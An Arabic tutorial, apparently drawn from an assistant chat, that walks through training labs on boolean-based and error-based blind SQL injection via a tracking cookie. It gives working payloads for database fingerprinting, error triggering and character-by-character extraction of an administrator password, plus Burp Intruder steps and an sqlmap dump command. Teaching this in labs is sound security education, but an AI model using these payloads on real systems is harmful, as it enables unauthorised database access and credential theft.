انتقل إلى المحتوى

أولاً: ما هو Blind SQL Injection؟

SQL Injection هو إنك تدخل SQL code داخل input في الموقع فيتم تنفيذه داخل قاعدة البيانات.

لكن في النوع ده:

Blind SQL Injection

المشكلة إن الموقع لا يعرض نتيجة الـ query.

يعني:

  • لا يظهر database errors

  • لا يظهر data من database

  • الصفحة تقريباً ثابتة

لكن الموقع يتغير سلوكه بشكل بسيط.

مثلاً:

  • يظهر message

  • لا يظهر message

  • الصفحة تتأخر

  • الصفحة تختلف

ومن هنا يبدأ الاستغلال.


ثانياً: لماذا يسمى Blind ؟

لأنك لا ترى البيانات مباشرة.

بدل أن ترى:

administrator : password123

أنت فقط ترى:

  • True

  • False

مثل لعبة 20 سؤال.


ثالثاً: مثال التطبيق الموجود في النص

الموقع يستخدم Tracking Cookie.

الطلب يكون مثل:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

الموقع يأخذ هذا الـ cookie ويعمل query في قاعدة البيانات.

SELECT TrackingId
FROM TrackedUsers
WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

الفكرة:

الموقع يريد معرفة:

هل هذا المستخدم زار الموقع قبل ذلك؟

لو وجد القيمة في الجدول يظهر:

Welcome back

لو لم يجدها لا يظهر الرسالة.


رابعاً: أين الثغرة؟

القيمة توضع مباشرة داخل SQL:

WHERE TrackingId = 'USER_INPUT'

إذا لم يتم sanitization يمكن إدخال SQL.

مثلاً:

TrackingId=xyz' AND '1'='1

فتصبح query:

SELECT TrackingId
FROM TrackedUsers
WHERE TrackingId = 'xyz' AND '1'='1'

الشرط:

'1'='1'

دائماً True.


خامساً: اختبار True و False

نجرب شرطين.

الطلب الأول

TrackingId=xyz' AND '1'='1

query تصبح:

WHERE TrackingId='xyz' AND '1'='1'

النتيجة:

True

إذن يظهر:

Welcome back


الطلب الثاني

TrackingId=xyz' AND '1'='2

query:

WHERE TrackingId='xyz' AND '1'='2'

الشرط:

1 = 2

False

النتيجة:

لا يظهر

Welcome back


إذن أصبح لدينا Oracle يخبرنا إن الشرط:

  • True

  • False

وهذا يكفي لاستخراج أي بيانات من قاعدة البيانات.


سادساً: استخراج البيانات

نفترض وجود جدول:

Users

وهو يحتوي:

Username
Password

وفيه مستخدم:

Administrator

هدفنا استخراج:

Password


سابعاً: فكرة استخراج الباسورد

نستخرج حرف حرف.

الباسورد مثل:

secretpass

لكن نحن لا نراه.

فنبدأ نسأل قاعدة البيانات.


ثامناً: معرفة أول حرف

نستخدم دالة:

SUBSTRING()

وهي ترجع حرف من النص.

مثال:

SUBSTRING('secret',1,1)

يرجع:

s


تاسعاً: أول payload

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1) > 'm

خلينا نفكها.


الجزء الأول

SELECT Password FROM Users WHERE Username='Administrator'

يرجع:

secretpass


الجزء الثاني

SUBSTRING(password,1,1)

يعني:

أول حرف

s


الشرط

s > m

في ASCII:

s أكبر من m

إذن الشرط:

True


بالتالي:

Welcome back

ظهر.


عاشراً: تجربة أخرى

نجرب:

t

payload:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1) > 't

الحرف الحقيقي:

s

هل:

s > t ?

لا.

False.

إذن:

لا يظهر

Welcome back


الحادي عشر: تحديد الحرف

نجرب:

= s

payload:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)='s

الشرط صحيح.

إذن نعرف:

الحرف الأول = s


الثاني عشر: نكرر العملية

الحرف الثاني:

SUBSTRING(password,2,1)

الحرف الثالث:

SUBSTRING(password,3,1)

وهكذا.

حتى نحصل على:

secretpass


الثالث عشر: لماذا يستخدمون > بدلاً من = ؟

لأنها تسمح باستخدام Binary Search.

بدل تجربة:

a
b
c
d
...

يمكن تضييق المجال بسرعة.

مثال:

m
t
p

وهكذا.


الرابع عشر: الأدوات التي تعمل ذلك تلقائياً

مثل:

  • sqlmap

مثلاً:

sqlmap -u http://site.com --cookie="TrackingId=xyz" --dump

يقوم باستخراج البيانات تلقائياً.


خلاصة الفكرة

Blind SQL Injection يعتمد على:

1️⃣ حقن شرط SQL
2️⃣ ملاحظة سلوك التطبيق
3️⃣ استنتاج True أو False
4️⃣ استخراج البيانات حرف حرف


لمرحلة 1 — التأكد أن هناك Blind SQL Injection

أول خطوة تشوف هل الشرط يغير رد الموقع.

مثلاً في الـ cookie:

TrackingId=xyz' AND '1'='1

لو ظهر:

Welcome back

نجرب:

TrackingId=xyz' AND '1'='2

لو الرسالة اختفت → إذن عندنا Boolean based blind injection.


المرحلة 2 — معرفة نوع قاعدة البيانات

قبل ما نستخرج الداتا لازم نعرف نوع الـ DB.

هل هي:

  • MySQL

  • PostgreSQL

  • MSSQL

  • Oracle

مثلاً نجرب function خاصة بكل DB.

مثال MySQL:

xyz' AND database() IS NOT NULL-- -

لو True → غالباً MySQL.

الدالة:

database()

ترجع اسم الداتا بيز الحالية.


ما معنى True و False في Blind SQLi؟

في Boolean-based blind SQLi أنت لا ترى نتيجة الـ query، لذلك تعتمد على اختلاف في الـ response.

الاختلاف قد يكون في:

1️⃣ ظهور نص معين في الصفحة
2️⃣ اختفاء نص
3️⃣ اختلاف طول الصفحة
4️⃣ redirect
5️⃣ اختلاف HTML

لكن status code غالباً يظل 200 في الحالتين.


مثال من السيناريو الذي شرحناه

الـ payload:

xyz' AND '1'='1

النتيجة:

الصفحة تظهر فيها:

Welcome back

إذن الشرط True.


payload الثاني:

xyz' AND '1'='2

النتيجة:

الرسالة لا تظهر.

إذن الشرط False.

لاحظ أن:

HTTP/1.1 200 OK

قد يكون نفسه في الحالتين.


مثال حقيقي أثناء الفحص

Response عندما الشرط True:

Welcome back
Products
Categories

Response عندما الشرط False:

Products
Categories

الفرق الوحيد:

Welcome back

اختفت.


أحياناً الفرق يكون في حجم الصفحة

مثلاً:

True:

Response length = 5340

False:

Response length = 5211

وهنا الأدوات مثل:

  • Burp Suite

  • sqlmap

تعتمد على response length.


متى نستخدم status code؟

نادراً، لكن ممكن.

مثلاً:

True →

200 OK

False →

302 Redirect

لكن هذا ليس الأكثر شيوعاً.


خلاصة الفكرة

في Blind SQL Injection:

True لا تعني:

HTTP 200

بل تعني:

الشرط الذي حقنته جعل التطبيق يتصرف بشكل مختلف.


لو حابب، أقدر أشرح لك كمان أخطر نقطة في Blind SQLi واللي كثير من الناس لا يفهمها صح:

إزاي تفرق بين:

  • Boolean Based Blind

  • Time Based Blind

  • Conditional Error

لأن التلاتة يندرجوا تحت Blind SQL Injection لكن طريقة الاستغلال مختلفة تماماً 🔥.

AND database() IS NOT NULL-- - حلو هنا رجع false

تمام، خلينا نفهم ليه الـ payload:

AND database() IS NOT NULL-- -

رجع False عندك. الموضوع له كذا احتمال، ودي طريقة التفكير اللي يمشي بها أي شخص يعمل Penetration Testing عند اختبار Blind SQL Injection.


أول احتمال (الأكثر شيوعًا)

الـ database مش MySQL.

الدالة:

database()

خاصة بـ MySQL.

لو الموقع يستخدم مثلاً:

  • Microsoft SQL Server

  • PostgreSQL

  • Oracle Database

فالـ query هتفشل أو ترجع False.


ثاني احتمال

الـ syntax نفسه كسر الـ query.

مثلاً لو الـ query الأصلية:

SELECT TrackingId
FROM TrackedUsers
WHERE TrackingId = 'xyz'

وأنت حقنت:

xyz' AND database() IS NOT NULL-- -

تصبح:

WHERE TrackingId='xyz' AND database() IS NOT NULL

لكن لو الدالة غير موجودة في الـ DB سيحدث error داخلي، والموقع يعامله كـ False.


ماذا تفعل الآن؟ (الخطوة الصحيحة)

نبدأ نختبر database type fingerprinting.

اختبار MSSQL

' AND DB_NAME() IS NOT NULL-- -


اختبار PostgreSQL

' AND current_database() IS NOT NULL-- -


اختبار Oracle

' AND 'a'='a

(Oracle غالباً يتصرف بطريقة مختلفة مع بعض functions).


طريقة أكثر ذكاء

بدلاً من اختبار DB مباشرة، نبدأ بشيء بسيط:

' AND 1=1-- -

و

' AND 1=2-- -

لو الفرق واضح → إذن Boolean blind يعمل.

بعدها نجرب استخراج شيء عام مثل طول النص.


مثال payload أكثر أماناً

' AND LENGTH('abc')=3-- -

لو True → DB تدعم LENGTH().

لو False → قد تكون تستخدم:

LEN()

في Microsoft SQL Server.


التكنيك الذي يستخدمه المحترفون

الأدوات مثل:

  • sqlmap

  • Burp Suite

تعمل DB fingerprinting تلقائياً عن طريق اختبار عشرات الدوال.


أهم نقطة لازم تنتبه لها

في Blind SQLi
False لا يعني دائماً أن الشرط خطأ.

قد يعني:

  • syntax error

  • function غير موجودة

  • database مختلفة


✅ نصيحتي في هذه المرحلة:

جرب بالترتيب:

' AND 1=1-- -

ثم

' AND LENGTH('abc')=3-- -

ثم

' AND LEN('abc')=3-- -

وبعدها نعرف نوع الـ DB.


LAB SOLVE ;

1️⃣ اعتراض الطلب باستخدام Burp

أنت تفتح الصفحة الرئيسية للمتجر، والـ request يكون فيه cookie مثل:

Cookie: TrackingId=xyz

السيرفر غالبًا يعمل query مثل:

SELECT * FROM tracking WHERE TrackingId='xyz'

لو لم يتم sanitize للـ input يمكننا كسر الـ query.


2️⃣ اختبار وجود SQL Injection

نغيّر قيمة الـ cookie إلى:

TrackingId=xyz' AND '1'='1

ماذا يحدث في السيرفر؟

الـ query تصبح:

SELECT * FROM tracking
WHERE TrackingId='xyz' AND '1'='1'

الشرط:

'1'='1'

هذا True دائماً.

لو ظهر في الصفحة:

Welcome back

إذن الشرط صحيح.


التجربة الثانية

TrackingId=xyz' AND '1'='2

الـ query تصبح:

SELECT * FROM tracking
WHERE TrackingId='xyz' AND '1'='2'

الشرط:

1 = 2

False.

إذن لن تظهر رسالة:

Welcome back

💡 هنا تأكدنا أن الموقع يتصرف حسب نتيجة الشرط → وهذا يعني وجود Boolean Blind SQL Injection.


3️⃣ اختبار وجود جدول users

نرسل:

TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

تحليل الكود

SELECT 'a'

يعني:

ارجع القيمة a

لكن من الجدول:

users

مع:

LIMIT 1

أي:

خذ صف واحد فقط

إذن:

(SELECT 'a' FROM users LIMIT 1)

النتيجة ستكون:

a

لو الجدول موجود.

ثم نقارن:

a = a

True.

إذن ظهور Welcome back يعني:

table users exists


4️⃣ اختبار وجود مستخدم administrator

الطلب:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

تحليل الكود

الـ subquery:

SELECT 'a'
FROM users
WHERE username='administrator'

المعنى:

لو يوجد صف username=administrator
ارجع a

ثم المقارنة:

a = a

إذن True.

وهذا يؤكد أن المستخدم موجود.


5️⃣ معرفة طول الباسورد

الطلب:

TrackingId=xyz' AND (SELECT 'a' FROM users
WHERE username='administrator'
AND LENGTH(password)>1)='a

تحليل الكود

الشرط:

LENGTH(password) > 1

أي:

هل طول الباسورد أكبر من 1؟

لو True يظهر:

Welcome back


نزيد الرقم تدريجياً

LENGTH(password)>2
LENGTH(password)>3
LENGTH(password)>4

حتى تختفي الرسالة.

مثلاً لو:

20 → False
19 → True

إذن:

password length = 20


6️⃣ استخراج الحروف باستخدام SUBSTRING

الـ payload يصبح:

TrackingId=xyz' AND
(SELECT SUBSTRING(password,1,1)
FROM users WHERE username='administrator')='a

تحليل الكود

SUBSTRING(password,1,1)

المعنى:

خذ من password
الحرف رقم 1
بطول 1

مثلاً لو الباسورد:

secret123

النتيجة:

s


المقارنة

's' = 'a'

False.

فنغير الحرف:

'b'
'c'
'd'

حتى يصبح True.


7️⃣ استخدام Burp Intruder لتجربة الحروف

بدلاً من تجربة كل حرف يدويًا.

نرسل الطلب إلى:

Burp Suite → Intruder

ونضع payload:

TrackingId=xyz' AND
(SELECT SUBSTRING(password,1,1)
FROM users WHERE username='administrator')='§a§

الرمز:

§ §

يعني:

هذا مكان تغيير الـ payload


8️⃣ تحديد الحروف الممكنة

نضع payload list:

a-z
0-9

لأن الباسورد غالباً:

lowercase alphanumeric


9️⃣ تحديد علامة النجاح

في Intruder نضيف:

Welcome back

في Grep - Match

حتى يعرف Burp متى يكون الشرط True.


🔟 قراءة النتائج

في النتائج سيظهر عمود:

Welcome back

وأحد الصفوف سيكون فيه ✔.

مثلاً:

payload = s

إذن:

first character = s


11️⃣ استخراج باقي الحروف

نغير:

SUBSTRING(password,1,1)

إلى:

SUBSTRING(password,2,1)

ثم:

3
4
5

حتى:

20

لأن طول الباسورد = 20.


12️⃣ النتيجة النهائية

بعد استخراج كل الحروف نحصل على:

password = **

ثم تذهب لصفحة login:

My account

وتدخل:

username = administrator
password = extracted_password

وبذلك تحل الـ lab 🎯.


💡 معلومة مهمة:
الأداة sqlmap تقوم بكل هذه الخطوات تلقائيًا، لكنها في الـ labs الهدف هو فهم المنطق.


ERROR BASED SQL INJECTION


الفكرة الأساسية (Concept)

في بعض المواقع:

  • الـ response لا يتغير سواء الشرط True أو False

  • مفيش Welcome back

  • مفيش فرق في HTML

يعني Boolean Blind SQL Injection لا يعمل.

لكن ممكن نعمل حاجة ذكية:

💡 نجعل الـ database يعمل Error فقط لو الشرط True

وبعدها نلاحظ:

الحالة نتيجة السيرفر
الشرط False الصفحة طبيعية
الشرط True يظهر Error

وبالتالي نعرف نتيجة الشرط.


أول Payload

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

خلينا نفكها.


1️⃣ كسر الـ SQL Query

الـ cookie:

TrackingId=xyz

غالباً الاستعلام يكون مثل:

SELECT * FROM tracking
WHERE TrackingId='xyz'

بعد الـ injection يصبح:

SELECT * FROM tracking
WHERE TrackingId='xyz'
AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'


2️⃣ فهم CASE

في SQL عندنا:

CASE
WHEN condition
THEN value1
ELSE value2
END

مثل if statement في البرمجة.

مثال:

CASE
WHEN 5 > 3 THEN 'yes'
ELSE 'no'
END

النتيجة:

yes


3️⃣ تحليل الكود

CASE WHEN (1=2) THEN 1/0 ELSE 'a' END

نقيم الشرط:

1=2

False.

إذن:

ELSE 'a'

النتيجة:

a


4️⃣ المقارنة

الـ query يصبح:

'a' = 'a'

True.

ولا يوجد Error.


Payload الثاني

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a


تحليل الكود

الشرط:

1 = 1

True.

إذن:

THEN 1/0


ماذا يحدث هنا؟

1/0

يعني:

divide by zero

وهذا يسبب:

Database error

مثل:

division by zero


ماذا نستفيد؟

لو لاحظنا:

الحالة النتيجة
condition False الصفحة طبيعية
condition True Error

إذن يمكننا معرفة نتيجة الشرط.


استخدام التقنية لاستخراج البيانات

الـ Payload يصبح:

xyz' AND (
SELECT CASE
WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm')
THEN 1/0
ELSE 'a'
END
FROM Users)='a

خلينا نشرحه بالتفصيل.


الجزء الأول

SELECT ... FROM Users

نحن نستعلم من جدول:

Users


الشرط

Username = 'Administrator'

يعني:

اختر صف administrator


استخراج حرف من الباسورد

SUBSTRING(Password, 1, 1)

المعنى:

خذ من Password
الحرف رقم 1
بطول 1

مثال:

password = secret123

النتيجة:

s


المقارنة

SUBSTRING(password,1,1) > 'm'

يعني:

هل الحرف:

أكبر من m

حسب ترتيب ASCII.


مثال

لو الحرف:

s

المقارنة:

s > m

True.


ماذا يحدث بعدها؟

لو الشرط True:

THEN 1/0

إذن:

Database Error


لو False:

ELSE 'a'

ولا يحدث Error.


ماذا نستنتج؟

من الـ response:

response الاستنتاج
Error الحرف > m
No error الحرف ≤ m

لماذا هذا مهم؟

لأننا نستطيع استخدام Binary Search لاستخراج الحرف بسرعة.

مثلاً:

بدلاً من تجربة:

a
b
c
d
...
z

نفعل:

m
t
g

حتى نصل للحرف.


مثال استخراج حرف

نبدأ:

m

لو Error:

الحرف بين n و z

نجرب:

t

لو False:

بين n و t

ثم:

q

وهكذا.


لماذا هذه الطريقة قوية؟

في Blind SQL Injection العادي:

عدد الطلبات للحرف:

36 request

لكن باستخدام Binary Search:

5 requests فقط


الخلاصة

الـ Error-based Blind SQLi يعمل كالتالي:

1️⃣ نضع شرط
2️⃣ لو True نسبب database error
3️⃣ لو False لا يحدث شيء
4️⃣ نلاحظ الفرق في HTTP response
5️⃣ نستخرج البيانات حرفًا حرفًا


أكواد معرفة نوع ال DB for BLIND SQL INJECTION ERROR BASED:

MySQL / MariaDB

الأكواد الخاصة بـ MySQL:

database()

ترجع اسم الداتا بيز الحالية.

Payload

TrackingId=xyz' AND (SELECT CASE WHEN (database() IS NOT NULL) THEN 1/0 ELSE 'a' END)='a

شرح

database()

Function موجودة فقط في MySQL.

إذا اشتغلت:

condition = True

إذن:

1/0

→ يحدث divide by zero error

إذن الداتا بيز غالبًا:

MySQL


2️⃣ PostgreSQL

في PostgreSQL اسم الداتا بيز يحصل عليه بـ:

current_database()

Payload

TrackingId=xyz' AND (SELECT CASE WHEN (current_database() IS NOT NULL) THEN 1/0 ELSE 'a' END)='a

شرح

current_database()

Function خاصة بـ PostgreSQL.

لو الشرط True → يحدث Error.

إذن:

Database = PostgreSQL


3️⃣ Microsoft SQL Server

في Microsoft SQL Server نستخدم:

DB_NAME()

Payload

TrackingId=xyz' AND (SELECT CASE WHEN (DB_NAME() IS NOT NULL) THEN 1/0 ELSE 'a' END)='a

شرح

DB_NAME()

ترجع اسم الداتا بيز.

لو اشتغلت → غالبًا SQL Server.


4️⃣ Oracle

في Oracle Database يوجد اختلافين مهمين:

1️⃣ يجب استخدام table في SELECT
2️⃣ يوجد جدول وهمي اسمه

dual

Payload

TrackingId=xyz'||(SELECT '' FROM dual)||'

شرح

SELECT '' FROM dual

Oracle يتطلب تحديد table.

لو اشتغل بدون Error:

Database = Oracle


5️⃣ SQLite

في SQLite يوجد جدول خاص:

sqlite_master

Payload

TrackingId=xyz' AND (SELECT name FROM sqlite_master LIMIT 1)='a

شرح

sqlite_master

يحتوي كل الجداول في SQLite.

لو لم يحدث Syntax Error → غالبًا SQLite.


الفرق بين قواعد البيانات بسرعة

Database Function مميزة
MySQL database()
PostgreSQL current_database()
SQL Server DB_NAME()
Oracle dual
SQLite sqlite_master

طريقة احترافية يستخدمها الـ Pentesters

بدلاً من تجربة Functions كثيرة، هناك Payload يكشف نوع DB بسرعة:

مثلاً:

'||(SELECT '' FROM dual)||'

لو نجح → غالبًا Oracle.

أو:

AND @@version

لو نجح → غالبًا SQL Server أو MySQL.


ERROR BASED SQL INJECTION LABS:


1-

اختبار وجود SQL Injection

نرسل:

TrackingId=xyz'

ماذا يحدث؟

الـ query تصبح:

SELECT * FROM tracking WHERE TrackingId='xyz''

هنا حدث:

Unclosed quote

يعني:

SQL syntax error

فتظهر رسالة خطأ.


3️⃣ اختبار إغلاق الـ quote

نجرب:

TrackingId=xyz''

الـ query تصبح:

TrackingId='xyz'''

هنا تم إغلاق الاقتباس بشكل صحيح لذلك الـ error يختفي.

هذا يدل أن:

الـ input يدخل داخل SQL query


4️⃣ إدخال Subquery

نرسل:

TrackingId=xyz'||(SELECT '')||'

شرح الرموز

||

في Oracle يعني:

String concatenation

مثل:

"abc" + "def"

لكن في SQL.


تحليل الكود

xyz' || (SELECT '') || '

يعني:

"xyz" + نتيجة الاستعلام + ""

لكن Oracle يتطلب table في SELECT لذلك يحدث Error.


5️⃣ استخدام جدول dual

نرسل:

TrackingId=xyz'||(SELECT '' FROM dual)||'

ما هو dual ؟

في Oracle Database يوجد جدول وهمي اسمه:

dual

يستخدم عندما تريد SELECT بدون جدول حقيقي.

مثال:

SELECT 1 FROM dual


ماذا حدث؟

الـ query أصبحت صحيحة.

لذلك الخطأ اختفى.

وهذا يؤكد أن:

Database = Oracle


6️⃣ اختبار Query غير موجود

نرسل:

TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'

هنا نحاول الاستعلام من جدول غير موجود.

النتيجة:

Database error

وهذا يؤكد أن:

الـ input يتم تفسيره كـ SQL query


7️⃣ اختبار وجود جدول users

نرسل:

TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

شرح

users

جدول نريد معرفة وجوده.


ما هو ROWNUM ؟

في Oracle لا يوجد:

LIMIT

بدل ذلك يستخدم:

ROWNUM

مثال:

ROWNUM = 1

يعني:

خذ صف واحد فقط


لماذا مهم؟

لو رجع الاستعلام أكثر من صف:

String concatenation fails

لذلك نحدد صف واحد.


النتيجة

لا يوجد Error.

إذن:

table users exists


8️⃣ تنفيذ Error-based condition

نرسل:

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'


شرح CASE

CASE
WHEN condition
THEN value1
ELSE value2
END

مثل:

if statement


تحليل الكود

1 = 1

True.

إذن:

THEN TO_CHAR(1/0)


ماذا يعني 1/0 ؟

Divide by zero

وهذا يسبب:

Database error


لماذا TO_CHAR ؟

لأننا داخل:

string concatenation

يجب تحويل الرقم إلى نص.


9️⃣ اختبار False condition

نرسل:

TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

هنا:

1 = 2

False.

إذن:

ELSE ''

ولا يحدث Error.


ماذا تعلمنا؟

يمكننا:

إحداث Error فقط إذا كان الشرط True

وهذا أساس Error-based SQL Injection.


🔟 اختبار وجود administrator

نرسل:

TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

ماذا يحدث؟

لو كان المستخدم موجود:

query returns row

إذن الشرط ينفذ:

1/0

ويحدث Error.

إذن:

administrator exists


11️⃣ معرفة طول الباسورد

نرسل:

TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

شرح LENGTH

LENGTH(password)

يعني:

عدد حروف الباسورد


الفكرة

نجرب:

1
2
3
4

حتى يختفي الـ Error.


مثال:

Payload Error
>19 yes
>20 no

إذن:

password length = 20


12️⃣ استخراج الحروف

نستخدم:

SUBSTR

payload:

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'


شرح SUBSTR

SUBSTR(text, position, length)

مثال:

SUBSTR('secret',1,1)

النتيجة:

s


الفكرة

نجرب:

a
b
c
d
...
z
0
1
2
...
9

لو حدث Error → الحرف صحيح.


13️⃣ استخدام Burp Intruder

بدل التجربة اليدوية.

نضع:

§a§

مثل:

SUBSTR(password,1,1)='§a§'

هذا يعني:

payload position


Payload list

a-z
0-9


14️⃣ معرفة الحرف الصحيح

النتائج في Intruder:

Payload Status
a 200
b 200
s 500

ماذا يعني 500 ؟

HTTP 500

يعني:

Server error

أي حدث:

1/0

إذن:

first character = s


15️⃣ استخراج باقي الحروف

نغير:

SUBSTR(password,1,1)

إلى:

SUBSTR(password,2,1)

ثم:

3
4
5
...
20

حتى نحصل على الباسورد بالكامل.


16️⃣ تسجيل الدخول

بعد استخراج الباسورد:

نذهب إلى:

My account

ونسجل الدخول:

username = administrator
password = extracted_password

وبذلك يتم حل اللاب.